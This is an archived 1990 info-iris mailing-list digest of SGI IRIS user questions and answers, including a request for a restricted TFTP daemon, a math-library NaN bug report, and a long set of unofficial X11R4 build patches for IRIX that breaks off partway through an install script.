Rich Rosenthal richr@ai.etl.army.mil (202) 355-3653 -- Richard Rosenthal Internet: richr@ai.etl.army.mil Engineer Topographic Labs UUCP: ...!ames!ai.etl.army.mil!richr Alexandria, VA 22060-5546 Phone: +1 202 355 3653   Received: from vmb.brl.mil by VMB.BRL.MIL id aa13806; 23 Apr 90 23:54 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa13757; 23 Apr 90 23:43 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa13755; 23 Apr 90 23:33 EDT Received: from ucbvax.Berkeley.EDU by ADM.BRL.MIL id aa19229; 23 Apr 90 22:23 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA03488; Mon, 23 Apr 90 19:02:06 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 16:30:17 GMT From: Mark Bartelt Organization: Hospital for Sick Children, Toronto Subject: Weirdness with IRIX process accounting. Message-Id: <401@sickkids.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In an attempt to find the best-performing box for a particular compute-bound application (and, if there are several "winners", the one with the best price/performance ratio), I've been running this job on a variety of systems, and the 4D/240 does quite well. (The IBM 6000 does more than twice as well, but as AIX appears to be so unacceptably buggy, it probably won't be a serious contender.) There is one oddity, though, which I'd like to understand: On the 4D/240, the output from /bin/time sometimes reports an unrealistic amount of system time. When this happens, the user time is lower than it is on other runs, such that user+sys time is fairly constant. The program does almost no I/O, except for reading a small bit of input data at the beginning, and writing out some results at the end. Other than that, there is nothing but a lot of heavy floating-point calculations. The total time is always around 50 minutes. Usually it's 50 minutes of user time, and a trivial amount of system time. But there have been some runs where the user time is alleged to be around 45 minutes, and the system time around 5 minutes. I haven't yet run the program enough times to be able to characterise the odd behaviour any further (e.g. whether high system time may be corrrelated with heavier system load, and therefore increased process context switching). I suspect that there's some weirdness with process accounting, in that the time is being charged to the correct process, but it's getting put in the "sys" slot rather than the "user" slot. I've never noticed any behaviour of this sort under other flavours of UNIX. Has anyone else encountered it under IRIX? Does anyone actually understand what the heck is going on? Is it a bug, misfeature, expected behaviour, or what? Mark Bartelt INTERNET: mark@sickkids.toronto.edu Hospital for Sick Children, Toronto mark@sickkids.utoronto.ca 416/598-6442 UUCP: {utzoo,decvax}!sickkids!mark   Received: from vmb.brl.mil by VMB.BRL.MIL id aa15541; 24 Apr 90 7:37 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa15466; 24 Apr 90 7:27 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa15461; 24 Apr 90 7:10 EDT Received: from dtoa1.dt.navy.mil by VGR.BRL.MIL id aa27990; 24 Apr 90 6:56 EDT Received: by dtoa1.dt.navy.mil (5.59/dtoa1.dt.navy.mil) id AA09558; Tue, 24 Apr 90 06:58:10 EDT Message-Id: <9004241058.AA09558@dtoa1.dt.navy.mil> Date: 24 Apr 90 06:55 EDT From: michael hart Subject: re: Flight/Dog mods. To: babar.mmwb.ucsf.edu!srp@cgl.ucsf.edu Cc: info-iris@BRL.MIL In-Reply-To: Message of 23 Apr 90 22:28 Scott, As an avid "dogger", but only a beginning programmer, I can fight, but I just can't hack!!! We'd be very interested in getting your mods to dog about the audible tone for missle lock and the 'improved ' sidewinders. Thanks very much. Michael G. Hart David Taylor Research Center mhart@dtrc.dt.navy.mil ph. 202-227-1979   Received: from vmb.brl.mil by VMB.BRL.MIL id aa16082; 24 Apr 90 8:18 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa15714; 24 Apr 90 7:57 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa15620; 24 Apr 90 7:45 EDT Received: from aero4.larc.nasa.gov by VGR.BRL.MIL id aa28052; 24 Apr 90 7:23 EDT Received: Tue, 24 Apr 90 07:24:39 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Tue, 24 Apr 90 07:24:39 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004241424.AA02524@aero4.larc.nasa.gov> To: dolata%uazaic.UUCP@cs.arizona.edu Subject: Re: So whats the current price for a 3130?? Cc: info-iris@BRL.MIL I hear used 3130's go for about $10,000, but you can still buy one from SGI, they charge you about $30,000-50,000. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa18515; 24 Apr 90 10:51 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa17294; 24 Apr 90 9:41 EDT Date: Tue, 24 Apr 90 9:11:08 EDT From: Gary S. Moss (VLD/VMB) To: George Elkins cc: info-iris@BRL.MIL Subject: Re: Compiling X11R4 sources from MIT Message-ID: <9004240911.aa16941@VMB.BRL.MIL> Assuming that X11R4 can be compiled under IRIX 4D-3.2.2 with minor patches, will it work with the R3 server? Is there an R4 server available for the 4Ds or is server source code shipped?   Received: from vmb.brl.mil by VMB.BRL.MIL id ab18515; 24 Apr 90 10:51 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa18035; 24 Apr 90 10:20 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa17967; 24 Apr 90 10:09 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa28866; 24 Apr 90 10:02 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA08871; Tue, 24 Apr 90 06:57:52 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 08:16:29 GMT From: Jeff Weinstein Organization: Silicon Graphics Inc. Subject: Re: 4d/380 Message-Id: <6738@odin.corp.sgi.com> References: <9004230946.aa21941@VGR.BRL.MIL> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL The 4d/200's are based on 25 MHz R3000 cpu's. The 4d/300's are use 33MHz R3000's, so they are a bit faster. The second digit is the number of processors. A 4d/380 has 8 33Mhz cpus. A 4d/240 has 4 25MHz cpus. --Jeff Jeff Weinstein - X Protocol Police Silicon Graphics, Inc., Entry Systems Division, Window Systems jsw@xhead.esd.sgi.com Any opinions expressed above are mine, not sgi's.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa19193; 24 Apr 90 11:52 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa19077; 24 Apr 90 11:42 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa19040; 24 Apr 90 11:24 EDT Received: from SGI.COM by VGR.BRL.MIL id aa29532; 24 Apr 90 11:16 EDT Received: from sgiatl by sgi.sgi.com via UUCP (5.52/900423.SGI) for info-iris@brl.mil id AA25957; Tue, 24 Apr 90 08:17:56 PDT Received: by sgiatl.atlanta.sgi.com (5.52/891101.SGI) for sgi!BRL.MIL!info-iris id AA00538; Tue, 24 Apr 90 11:16:51 EDT Date: Tue, 24 Apr 90 11:16:51 EDT From: George Smith SGI Atlanta Message-Id: <9004241516.AA00538@sgiatl.atlanta.sgi.com> To: sgiatl!info@BRL.MIL Subject: Need tops color diffs Hi:: Can some one mail me the diffs to tops.c for the color PostScript stuff.. Thanks -- :========================================================================: | George Smith | ph.(404)392-1333 | | Silicon Graphics Inc. | Email: georges@.sgi.com | | 1100 Abernathy Road N.E. | Vmail: x8048 | | Building 500, Suite 1120 | | | Atlanta,Ga. 30328 | | :========================================================================:   Received: from vmb.brl.mil by VMB.BRL.MIL id ab19193; 24 Apr 90 11:52 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab19077; 24 Apr 90 11:42 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa19042; 24 Apr 90 11:25 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa29563; 24 Apr 90 11:18 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA12883; Tue, 24 Apr 90 08:10:52 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 15:01:31 GMT From: Thomas Russo Organization: University of Texas at Austin, Center for Nonlinear Dynamics Subject: Restricted TFTP? Message-Id: <28840@ut-emx.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Are there any plans on SGI's part to implement a restricted TFTP daemon (i.e. one which will only retrieve files from a given directory)? The one supplied with 3.2 will retrieve ANY file which has world read permissions. I've heard that sun and some other vendors supply a restricted version, so that if one specifies a directory on the tftpd startup line then only files under that directory may be retrieved by tftp. The reason I ask for this is that some types of X terminals boot by using tftp to retrieve the server image. It would be nice to have a slightly more secure tftpd running. Thomas Russo Center for Nonlinear Dynamics, University of Texas at Austin russo@chaos.utexas.edu or phib421@utchpc.bitnet ------   Received: from vmb.brl.mil by VMB.BRL.MIL id aa19272; 24 Apr 90 12:03 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac19077; 24 Apr 90 11:42 EDT Received: by VMB.BRL.MIL id ac19070; 24 Apr 90 11:33 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa19036; 24 Apr 90 11:22 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa29407; 24 Apr 90 11:05 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA10805; Tue, 24 Apr 90 07:35:58 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 14:30:54 GMT From: Sam Fulcomer Organization: Brown University Center for Fluid Mechanics Subject: Re: So whats the current price for a 3130?? Message-Id: <37522@brunix.UUCP> References: <9004241424.AA02524@aero4.larc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004241424.AA02524@aero4.larc.nasa.gov> blbates@AERO4.LARC.NASA.GOV ("Brent L. Bates AAD/TAB MS361 x42854") writes: > > I hear used 3130's go for about $10,000, but you can still buy >one from SGI, they charge you about $30,000-50,000. We've got two here. One has genlock(/color encoder) and both have fortran and nfs. Anybody want 'em? I was considering using one at home but I don't really need the supplemental heat now... If they just had a decent window system they'd be nice machines... sgf@cfm.brown.edu _/**/Sam_Fulcomer   Received: from vmb.brl.mil by VMB.BRL.MIL id aa20443; 24 Apr 90 13:37 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa20215; 24 Apr 90 13:27 EDT Received: by VMB.BRL.MIL id aa19993; 24 Apr 90 12:58 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa19889; 24 Apr 90 12:53 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00221; 24 Apr 90 12:36 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA18115; Tue, 24 Apr 90 09:33:30 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 16:32:16 GMT From: Jean-Francois Lamy Subject: Re: Restricted TFTP? Message-Id: <90Apr24.123117edt.1930@smoke.cs.toronto.edu> References: <28840@ut-emx.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL russo@chaos.utexas.edu (Thomas Russo) writes: >Are there any plans on SGI's part to implement a restricted TFTP >daemon (i.e. one which will only retrieve files from a given >directory)? The one supplied with 3.2 will retrieve ANY file which >has world read permissions. I've heard that sun and some other The source for tftpd is freely redistributable. All you need to do to it is call chroot to restrict it to a given directory (/tftpboot or some such). This is another example of something that is better done once by a vendor than n times by end-sites. Better yet if SVR4 and BSD4.4 picked it up... Jean-Francois Lamy lamy@cs.utoronto.ca, uunet!cs.utoronto.ca!lamy Department of Computer Science, University of Toronto, Canada M5S 1A4   Received: from vmb.brl.mil by VMB.BRL.MIL id aa20637; 24 Apr 90 13:48 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab19932; 24 Apr 90 13:07 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa19841; 24 Apr 90 12:49 EDT Received: from NUSC-WPN.ARPA by VGR.BRL.MIL id aa00145; 24 Apr 90 12:19 EDT Date: 24 Apr 90 12:18:00 EDT From: swenson@nusc-wpn.arpa MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Subject: Math library bug? To: info-iris Reply-To: swenson@nusc-wpn.arpa MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Message-ID: <9004241219.aa00145@VGR.BRL.MIL> We have stumbled upon the following (apparent) bug in both the C and Fortran versions of the math library. OBLIGATORY CONFIGURATION INFORMATION: IRIX 3.2 on a 4D60T and 240GTX. FORTRAN program bug real *4 rr, cosrr, sinrr rr = 32000.0 cosrr = cos (rr) sinrr = sin (rr) write (*, *) cosrr, sinrr end The output is NaN for both 'cosrr' and 'sinrr.' Strangely enough, setting rr to 31999.0 produces correct results on both, and rr = 32000.0 is OK when declaring rr, cosrr, and sinrr as double precision. Naturally, this means that the REAL *4 version of cos does not work properly with exterme argument values and the REAL *8 version does. C #include main () { real rr, cosrr, sinrr; rr = 32000.0; cosrr = fcos (rr); sinrr = fsin (rr); printf ("%f %f\n", cosrr, sinrr); } This too, results in NaN for both cosrr and sinrr. Presumably, the same math library is used for both languages (with some intervening stuff for FORTRAN for mixed language considerations). This has been reported to the Hot-Line...no response yet, but I will post an footnote when wedo get a response. Steve Swenson SWENSON@NUSC-WPN.ARPA ------   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21220; 24 Apr 90 14:34 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21065; 24 Apr 90 14:23 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa20905; 24 Apr 90 13:59 EDT Received: from PIG.DREA.DND.CA by VGR.BRL.MIL id aa00403; 24 Apr 90 13:05 EDT Received: Tue, 24 Apr 90 14:08:07 AST by pig.drea.dnd.ca (5.52/5.6) Date: Tue, 24 Apr 90 14:08:07 AST From: Jim Diamond Message-Id: <9004241708.AA24543@pig.drea.dnd.ca> To: info-iris@BRL.MIL Subject: 3130 daylight time Does anyone know how to tell a 3130 that daylight time has started? Thanks. Jim Diamond zsd@pig.drea.dnd.ca   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21598; 24 Apr 90 15:18 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21410; 24 Apr 90 15:08 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa21309; 24 Apr 90 14:44 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa00876; 24 Apr 90 14:21 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA24446; Tue, 24 Apr 90 11:16:22 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 24 Apr 90 15:59:37 GMT From: James Helman Organization: Stanford University Subject: Unofficial patches for building X V11R4 on SGI IRIS 4D's Message-Id: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Since it looks like SGI won't have a new release of X out until the end of the year (by which time I will be done, out and probably won't need it), I took the plunge. Other folks might be interested in compiling R4 too, so here are some hints and patches (no server, of course). Thanks to SGI most everything one needs is already in sgi.cf, but enough problems remain to make it a hassle, especially if you want to build everything and have automatic depending. After several iterations of "make World" and "make install" I think I got all the *build* wrinkles smoothed out. Other wrinkles surely remain. One problem I've noticed in particular is that the app-defaults that look good on a Sun or DEC don't on the IRIS. Most of the build patches are configuration related (CC/LD switches, a substitute for the missing installation script, and setting up make depend). One patch tells xload how to convert the kernel's avenrun into a somewhat meaningful number. Another gives xterm some usable code for ptys (pretty much equivalent to Michael Halle's patch). There are also a couple general bugs (imake rules should always rm before ln on install and get_load.c shouldn't override specifics with defaults). Lastly there is a strange problem with IRIX 3.2 make which affects large makes. This caused the install script to fail strangely in clients/xdm and extensions/lib/xinput (immediate cause: basename foo returned ""). A workaround to that specific manifestation appears in the installation script. For those who, like me, mainly wanted to pick up a window manager. I've put some binaries out for anonymous ftp on fresnel.stanford.edu in pub/4DX. The patches which follow are there also. Caveat patchor. No guarantees. The patches are not blessed by anyone. (Though not cursed yet either.) I've only tried them on IRIX 3.2 running on a 4D/220 given X11 R4 with fixes 1 through 11 applied. NB: xterm is installed suid root so that it can change the modes and ownership of the pty and log to utmp. However, if you don't care about these, it will work with the suid bit off. NB+: We installed R4 in /usr/local leaving SGI's R3 stuff in /usr untouched. If you do something similar (see cofnig/site.def), be sure to either change XFILESEARCHPATHDEFAULT in lib/Xt/Imakefile or properly set the environment variable XFILESSEARCHPATH before launching an R4 application. Happy Xing. Jim Helman Department of Applied Physics 6 Trillium Lane Stanford University San Carlos, CA 94070 (jim@thrush.stanford.edu) (415) 723-9127 # Jim Helman (jim@kaos.stanford.edu) 415 723 9127 # 23-Apr-90. # # config/sgi.cf: # # Various configuration changes: # 1) use SGI's /etc/mkdepend # 2) add -lmld option to link in nlist() for xload # 3) add -Wf,XNp5000 to flags, o/w cc fails on large # compilations in lib/extensions # # clients/xrdb/Imakefile: # # Special case for SGI mkdepend because of quoted strings in CPP flags # # util/Imakefile: # # Drop makedepend from subdirectory list, we're using SGI's. # # clients/xload/get_load.c # # Fix general bug in which defaults override machine specific # KERNEL_LOAD_VARIABLE also add stuff to decode avenrun for SGI # # clients/xterm/Imakefile # # Enable SystemV utmp for SGI. # # clients/xterm/main.c # # Adapted mips code for sgi pty handling. # # clients/xdm/socket.c: # # No unix sockets for SGI, so undef AF_UNIX. # # config/Imake.rules: # # Need RM before LN on install otherwise reinstalls fail # # lib/Xmu/Imakefile # # Need RM before LN on install otherwise reinstalls fail # # util/scripts/mysgiinst.sh: # # An installation script based on bsdinst. The script sgiinst.sh is # referred to in the original sgi.cf but wasn't in the distribution. # This is my version, which except for a space between the -I flag # and its argument, should be compatble with what sgi intended. It # also includes a workaround for one manifestation of a strange bug # in IRIX 3.2 make which affects large makefiles. # *** config/sgi.cf.dist Sun Dec 17 15:06:17 1989 --- config/sgi.cf Mon Apr 23 21:41:25 1990 *************** *** 11,19 **** #define ExecableScripts YES #define SetTtyGroup YES /* Extra libraries provide : yp, sockets, BSD directories, & sysV malloc */ ! #define ExtraLibraries -lsun -lbsd -lmalloc -lc_s /* ************************************************************************** */ /* *************************** END R4 Stuff HERE **************************** */ /* ************************************************************************** */ --- 11,35 ---- #define ExecableScripts YES #define SetTtyGroup YES + #define BuildServer NO + + /* Use built in mkdepend. -jlh 23-Apr-90 */ + + #define DependDependency() /**/ + + #define DependTarget() @@\ + DependDependency() @@\ + @@\ + depend:: @@\ + $(DEPEND) -c "$(CC) $(CFLAGS)" Makefile $(SRCS) + + #define DependCmd /usr/sbin/mkdepend + /* Extra libraries provide : yp, sockets, BSD directories, & sysV malloc */ ! /* Also -lmld needed by xload -jlh 23-Apr-90 */ + #define ExtraLibraries -lsun -lbsd -lmalloc -lc_s -lmld + /* ************************************************************************** */ /* *************************** END R4 Stuff HERE **************************** */ /* ************************************************************************** */ *************** *** 55,67 **** #define DefaultFontPath $(FONTDIR)/misc/,$(FONTDIR)/100dpi/,$(FONTDIR)/75dpi/,/usr/lib/fmfonts/ /* First Reference to "SGI" build parameters */ ! #define OptimizedCDebugFlags $(OPTIMIZER) #define DefaultCCOptions -float /* this is for floating point, etc. */ /* Installation Build Parameters */ #define InstBinFlags -s -m 0755 -i "x.sw.eoe" #define InstDevBinFlags -s -m 0755 -i "x.sw.dev" ! #define InstUidFlags -s -m 4755 -i "x.sw.eoe" #define InstLibFlags -m 0664 -i "x.sw.dev" #define InstIncFlags -m 0444 -i "x.sw.dev" #define InstDatFlags -m 0444 -i "x.sw.dev" --- 71,88 ---- #define DefaultFontPath $(FONTDIR)/misc/,$(FONTDIR)/100dpi/,$(FONTDIR)/75dpi/,/usr/lib/fmfonts/ /* First Reference to "SGI" build parameters */ ! /* -Wf,-XNp5000 needed for extensions/lib -jlh 23-Apr-90 */ ! ! #define OptimizedCDebugFlags $(OPTIMIZER) -Wf,-XNp5000 ! #define DefaultCCOptions -float /* this is for floating point, etc. */ /* Installation Build Parameters */ #define InstBinFlags -s -m 0755 -i "x.sw.eoe" #define InstDevBinFlags -s -m 0755 -i "x.sw.dev" ! /* Unlike BSD install, SGI /etc/install defaults to user=bin. */ ! /* Override here for suid root needed by xterm */ ! #define InstUidFlags -s -o root -m 4755 -i "x.sw.eoe" #define InstLibFlags -m 0664 -i "x.sw.dev" #define InstIncFlags -m 0444 -i "x.sw.dev" #define InstDatFlags -m 0444 -i "x.sw.dev" *************** *** 71,78 **** #define ArCmd ar scq #define LnCmd ln -s ! #define InstallCmd $(SCRIPTSRC)/sgiinst.sh -I/etc/install ! #define BootstrapCFlags "$(OPTIMIZER)" /* for xdm or anyone else to use */ #define DefaultUserPath :/usr/sbin:/usr/bsd:/usr/bin:/bin:/usr/bin/X11:/etc:/usr/etc --- 92,104 ---- #define ArCmd ar scq #define LnCmd ln -s ! ! /* NB: substitute shell script requires space between -I and command. */ ! /* The orignal script from SGI apparently did not, but is not available. */ ! /* Also removed erroneous quotes from BootstrapCFlags. -jlh 20-Apr-90 */ ! ! #define InstallCmd $(SCRIPTSRC)/mysgiinst.sh -I /etc/install ! #define BootstrapCFlags $(OPTIMIZER) /* for xdm or anyone else to use */ #define DefaultUserPath :/usr/sbin:/usr/bsd:/usr/bin:/bin:/usr/bin/X11:/etc:/usr/etc *** clients/xrdb/Imakefile.dist Thu Dec 7 14:42:37 1989 --- clients/xrdb/Imakefile Fri Apr 20 14:56:47 1990 *************** *** 2,5 **** --- 2,12 ---- DEPLIBS = $(DEPXMULIB) $(DEPXLIB) LOCAL_LIBRARIES = $(XMULIB) $(XLIB) + #ifdef SGIArchitecture + #define DependTarget() @@\ + DependDependency() @@\ + @@\ + depend:: @@\ + $(DEPEND) -c "$(CC) $(CDEBUGFLAGS) $(CCOPTIONS) $(ALLINCLUDES) $(STD_DEFINES) $(PROTO_DEFINES) $(COMPATFLAGS)" Makefile $(SRCS) + #endif SimpleProgramTarget(xrdb) *** util/Imakefile.dist Mon Dec 18 13:59:10 1989 --- util/Imakefile Fri Apr 20 15:55:53 1990 *************** *** 1,7 **** #define IHaveSubdirs #define PassCDebugFlags 'CDEBUGFLAGS=$(CDEBUGFLAGS)' 'BOOTSTRAPCFLAGS=$(BOOTSTRAPCFLAGS)' ! #if !UseCCMakeDepend MDEP_DIR = makedepend #endif --- 1,7 ---- #define IHaveSubdirs #define PassCDebugFlags 'CDEBUGFLAGS=$(CDEBUGFLAGS)' 'BOOTSTRAPCFLAGS=$(BOOTSTRAPCFLAGS)' ! #if !UseCCMakeDepend && !defined(SGIArchitecture) MDEP_DIR = makedepend #endif *** clients/xload/get_load.c.dist Thu Dec 14 06:46:20 1989 --- clients/xload/get_load.c Mon Apr 23 21:56:38 1990 *************** *** 70,77 **** #endif #ifdef mips ! #include ! #endif #ifdef CRAY #include --- 70,83 ---- #endif #ifdef mips ! # ifdef sgi ! /* the shift 10 is a guess based on the loads rstatd gives -jlh */ ! # define FIX_TO_DBL(x) (((double)(x))/(1<<10)) ! typedef int fix; ! # else ! # include ! # endif /* sgi */ ! #endif /* mips */ #ifdef CRAY #include *************** *** 229,235 **** #endif /* sequent */ /* ! * provide default for everyone else */ #ifndef KERNEL_FILE #ifdef SYSV --- 235,241 ---- #endif /* sequent */ /* ! * provide default for everyone else (only if not already defined!) */ #ifndef KERNEL_FILE #ifdef SYSV *************** *** 276,288 **** /* * provide default for everyone else */ ! ! # ifdef USG ! # define KERNEL_LOAD_VARIABLE "sysinfo" ! # define SYSINFO ! # else ! # define KERNEL_LOAD_VARIABLE "_avenrun" ! # endif #endif /* KERNEL_LOAD_VARIABLE */ #ifdef macII --- 282,295 ---- /* * provide default for everyone else */ ! # ifndef KERNEL_LOAD_VARIABLE ! # ifdef USG ! # define KERNEL_LOAD_VARIABLE "sysinfo" ! # define SYSINFO ! # else ! # define KERNEL_LOAD_VARIABLE "_avenrun" ! # endif ! # endif /* KERNEL_LOAD_VARIABLE */ #endif /* KERNEL_LOAD_VARIABLE */ #ifdef macII *** clients/xterm/Imakefile.dist Thu Apr 19 20:01:00 1990 --- clients/xterm/Imakefile Mon Apr 23 21:30:15 1990 *************** *** 33,39 **** --- 33,44 ---- PTYLIB = -lpucc #endif + #if !defined(SGIArchitecture) MAIN_DEFINES = -DUTMP $(TTYGROUPDEF) $(PUCCPTYDDEF) + #else + MAIN_DEFINES = -DUTMP -DUSE_SYSV_UTMP $(TTYGROUPDEF) $(PUCCPTYDDEF) + #endif + MISC_DEFINES = /* -DALLOWLOGFILEEXEC */ SRCS1 = button.c charproc.c cursor.c data.c input.c \ *** clients/xterm/main.c.dist Mon Feb 5 15:12:30 1990 --- clients/xterm/main.c Mon Apr 23 22:02:08 1990 *************** *** 258,267 **** --- 258,269 ---- }; #ifdef USE_SYSV_UTMP + #ifndef sgi /* SGI utmp.h has ANSI prototypes on these */ extern struct utmp *getutent(); extern struct utmp *getutid(); extern struct utmp *getutline(); extern void pututline(); + #endif /* !sgi */ extern void setutent(); extern void endutent(); extern void utmpname(); *************** *** 926,931 **** --- 928,949 ---- /* got one! */ return(0); #else /* not (umips && SYSTYPE_SYSV) */ + #ifdef sgi + /* adapted from the preceding umips/SYSV version. But removed unused + open of slave tty. It does not seem to be necessary. -jlh */ + + # define minor(x) ((int)((x)&0377)) /* from MIPS sys/types.h */ + struct stat fstat_buf; + + *pty = open ("/dev/ptc", O_RDWR); + if (*pty < 0 || (fstat (*pty, &fstat_buf)) < 0) { + return(1); + } + sprintf (ttydev, "/dev/ttyq%d", minor(fstat_buf.st_rdev)); + sprintf (ptydev, "/dev/ptyq%d", minor(fstat_buf.st_rdev)); + /* got one! */ + return(0); + #else /* not sgi */ #ifdef CRAY for (; devindex < 256; devindex++) { sprintf (ttydev, "/dev/ttyp%03d", devindex); *************** *** 964,969 **** --- 982,988 ---- * condition and let our caller terminate cleanly. */ return(1); + #endif /* sgi */ #endif /* umips && SYSTYPE_SYSV */ #endif /* att */ } *************** *** 1507,1512 **** --- 1526,1534 ---- { #include struct group *ttygrp; + #ifdef sgi + struct group *getgrnam(); + #endif if (ttygrp = getgrnam("tty")) { /* change ownership of tty to real uid, "tty" gid */ chown (ttydev, screen->uid, ttygrp->gr_gid); *** clients/xdm/socket.c.dist Wed Dec 13 12:24:40 1989 --- clients/xdm/socket.c Fri Apr 20 20:04:05 1990 *************** *** 27,33 **** --- 27,37 ---- # include # include # include + #ifdef sgi + #undef AF_UNIX + #else # include + #endif # include # include *** config/Imake.rules.dist Mon Dec 18 14:14:19 1989 --- config/Imake.rules Fri Apr 20 20:38:47 1990 *************** *** 438,444 **** #define LinkFileList(step,list,dir,sub) @@\ step:: list @@\ @case '${MFLAGS}' in *[i]*) set +e;; esac; \ @@\ ! echo " cd" dir; cd dir; for i in list; do (set -x; $(LN) sub/$$i .); done #endif --- 438,444 ---- #define LinkFileList(step,list,dir,sub) @@\ step:: list @@\ @case '${MFLAGS}' in *[i]*) set +e;; esac; \ @@\ ! echo " cd" dir; cd dir; for i in list; do (set -x; $(RM) $$i ; $(LN) sub/$$i .); done #endif *** lib/Xmu/Imakefile.dist Tue Dec 12 15:43:10 1989 --- lib/Xmu/Imakefile Fri Apr 20 20:42:23 1990 *************** *** 179,185 **** LinkFileList(install,Xmu.h,$(INCDIR),Xmu) install:: ! cd $(INCDIR); $(LN) Xmu/Misc.h XawMisc.h #endif DependTarget() --- 179,185 ---- LinkFileList(install,Xmu.h,$(INCDIR),Xmu) install:: ! cd $(INCDIR); $(RM) XawMisc.h ; $(LN) Xmu/Misc.h XawMisc.h #endif DependTarget() *** /dev/null Mon Apr 23 16:48:17 1990 --- util/scripts/mysgiinst.sh Mon Apr 23 20:55:15 1990 *************** *** 0 **** --- 1,135 ---- + #!/bin/sh + + # + # This script was adapted from bsdinst.sh to do installs the SGI 4D + # machines as a substitute for sgiinst.sh which is referred to in sgi.cf + # but missing from the distribution. Note mysgiinst.sh requires a space + # between the -I switch and its arguement. - jlh 23-Apr-90 + # + + flags="" + dst="" + src="" + dostrip="" + install="install" + + while [ x$1 != x ]; do + case $1 in + -c) shift + continue;; + + -[umg]) flags="$flags $1 $2 " + shift + shift + continue;; + + -o) flags="$flags -u $2 " + shift + shift + continue;; + + -s) dostrip="strip" + shift + continue;; + + # ignore installation data base update request + -i) shift + shift + continue;; + + # take install command arg + -I) shift + install=$1 + shift + continue;; + *) if [ x$src = x ] + then + src=$1 + else + dst=$1 + fi + shift + continue;; + esac + done + + if [ x$src = x ] + then + echo "bsdinstall: no input file specified" + exit 1 + fi + + if [ x$dst = x ] + then + echo "bsdinstall: no destination specified" + exit 1 + fi + + + # set up some variable to be used later + + rmcmd="" + srcdir="." + + # if the destination isn't a directory we'll need to copy it first + + if [ ! -d $dst ] + then + dstbase=`basename $dst` + cp $src /tmp/$dstbase + rmcmd="rm -f /tmp/$dstbase" + src=$dstbase + srcdir=/tmp + dst="`echo $dst | sed 's,^\(.*\)/.*$,\1,'`" + if [ x$dst = x ] + then + dst="." + fi + fi + + + # If the src file has a directory, copy it to /tmp to make install happy + + srcbase=`basename $src` + + # Strange bug in SGI make (IRIX 3.2). The preceding statement fails + # in large (typically > 200K) makefiles or in nested makes with medium- + # large makefiles. The following workaround works in the two cases + # that failed (clients/xdm and extensions/lib/xinput). + + if [ x$srcbase = x ] + then + echo "Warning. SGI large makefile bug. Trying workaround." + echo Before src: $src srcbase: $srcbase + tmpfile=/tmp/sgiinst$$ + echo "basename $src" > 